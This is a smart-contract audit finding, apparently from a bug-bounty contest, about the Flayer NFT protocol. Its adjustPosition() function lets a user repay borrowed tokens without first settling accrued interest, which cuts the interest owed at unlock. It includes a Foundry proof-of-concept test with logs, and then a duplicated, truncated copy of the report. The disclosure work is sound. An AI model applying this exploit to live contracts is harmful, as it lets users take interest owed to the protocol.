Malicious users that reserve NFTs, can adjust their protectedPositions, and pay much less interest rate that they should
Summary
The Flayer protocol allows users to reserve NFTs that they can't immediately buy via the reserve() function. Users that reserve should pay interest rate until they fully unlock the NFT, and provide some collateral. The protocol allows suers to modify their protected listing via the adjustPosition() function, however the interest rate that is owned up to this moment is not taken into account. A malicious user can repay part of the tokens he owes interest over, without first repaying the interest, and then when he decides to fully unlock his NFT via the unlockProtectedListing() function, he will be charged interest only on the amount that is remaining, not on the full amount that he borrowed.
Root Cause
In the adjustPosition() function, the user can repay part of the tokens he is accruing interest over, however the interest owned up to this moment is not taken into account.
Internal pre-conditions
No response
External pre-conditions
No response
Attack Path
Lets consider the following scenario:
When the user reserves the NFT he provides 0.5e18 tokens as collateral, and now he has tokenTaken = 0.5e18 on which he accrues interest.
Time passes and the user has to pay for example 8% on the 0.5e18 tokens.
Instead of paying 8% interest rate on the 0.5e18 tokens, he can repay part of the tokenTaken balance via the adjustPosition() function, lets say 0.4e18
Then when he decides to fully unlock his NFT via the unlockProtectedListing() function, he will be charged 8% interest only on the 0.1e18 tokens that are left.
Instead of paying 8% of interest over 0.5e18 tokens, the user ends up paying 8% interest over 0.1e18 tokens
Impact
A user can pay much less interest that he is supposed to.
After following the steps in the above mentioned gist add the following test to the AuditorTests.t.sol file:
function test_UserCanModifyHisProtectedPostionToPayLessTax() public {
vm.startPrank(alice);
collection1.mint(alice, 12);
collection1.setApprovalForAll(address(listings), true);
Listings.Listing memory listingAlice = IListings.Listing({
owner: payable(alice),
created: uint40(block.timestamp),
duration: 10 days,
floorMultiple: 200
});
uint256[] memory tokenIdsAlice = new uint256[](1);
tokenIdsAlice[0] = 12;
IListings.CreateListing[] memory createLisings = new IListings.CreateListing[](1);
IListings.CreateListing memory createListing = IListings.CreateListing({
collection: address(collection1),
tokenIds: tokenIdsAlice,
listing: listingAlice
});
createLisings[0] = createListing;
listings.createListings(createLisings);
skip(2);
vm.stopPrank();
vm.startPrank(bob);
collection1.mint(bob, 13);
collection1.mint(bob, 14);
collection1.mint(bob, 15);
collection1.setApprovalForAll(address(locker), true);
uint256[] memory tokenIdsBob = new uint256[](3);
tokenIdsBob[0] = 13;
tokenIdsBob[1] = 14;
tokenIdsBob[2] = 15;
locker.deposit(address(collection1), tokenIdsBob);
collectionTokenA.approve(address(listings), type(uint256).max);
listings.reserve(address(collection1), 12, 0.5e18);
ProtectedListings.ProtectedListing memory protectedListingBob = protectedListings.listings(address(collection1), 12);
console2.log("Bob's tokenTaken: ", protectedListingBob.tokenTaken);
/// @notice we skip one year
skip(31_536_000);
collectionTokenA.approve(address(protectedListings), type(uint256).max);
uint256 bobBalanceBeforeAdjustingAnUnlcoking = collectionTokenA.balanceOf(bob);
uint256 amountThatBobShouldPayIfHeDirectlyUnlocks = protectedListings.unlockPrice(address(collection1), 12);
console2.log("The current price that needs to be paid to unlock the NFT: ", amountThatBobShouldPayIfHeDirectlyUnlocks);
protectedListings.adjustPosition(address(collection1), 12, int256(-0.4e18));
console2.log("The current price that need to be paid to unlock the NFT: ", protectedListings.unlockPrice(address(collection1), 12));
protectedListings.unlockProtectedListing(address(collection1), 12, true);
uint256 bobBalanceAfterAdjustingAndUnlocking = collectionTokenA.balanceOf(bob);
uint256 amountThatBobPaid = bobBalanceBeforeAdjustingAnUnlcoking - bobBalanceAfterAdjustingAndUnlocking;
console2.log("Amount that bob paid if he adjusted his position before unlocking it: ", amountThatBobPaid);
assertEq(collection1.ownerOf(12), bob);
assert(amountThatBobShouldPayIfHeDirectlyUnlocks > amountThatBobPaid);
vm.stopPrank();
}
Logs:
Bob's tokenTaken: 500000000000000000
The current price that needs to be paid to unlock the NFT: 626499999985927999
The current price that need to be paid to unlock the NFT: 125299999997185599
Amount that bob paid if he adjusted his position before unlocking it: 525299999997185599
To run the test use: forge test -vvv --mt test_UserCanModifyHisProtectedPostionToPayLessTax
Massive Emerald Python
High
Malicious users that reserve NFTs, can adjust their protectedPositions, and pay much less interest rate that they should
Summary
The Flayer protocol allows users to reserve NFTs that they can't immediately buy via the reserve() function. Users that reserve should pay interest rate until they fully unlock the NFT, and provide some collateral. The protocol allows suers to modify their protected listing via the adjustPosition() function, however the interest rate that is owned up to this moment is not taken into account. A malicious user can repay part of the tokens he owes interest over, without first repaying the interest, and then when he decides to fully unlock his NFT via the unlockProtectedListing() function, he will be charged interest only on the amount that is remaining, not on the full amount that he borrowed.
Root Cause
In the adjustPosition() function, the user can repay part of the tokens he is accruing interest over, however the interest owned up to this moment is not taken into account.
Internal pre-conditions
No response
External pre-conditions
No response
Attack Path
Lets consider the following scenario:
Impact
A user can pay much less interest that he is supposed to.
PoC
Gist
After following the steps in the above mentioned gist add the following test to the
AuditorTests.t.sol
file:To run the test use:
forge test -vvv --mt test_UserCanModifyHisProtectedPostionToPayLessTax
Mitigation
No response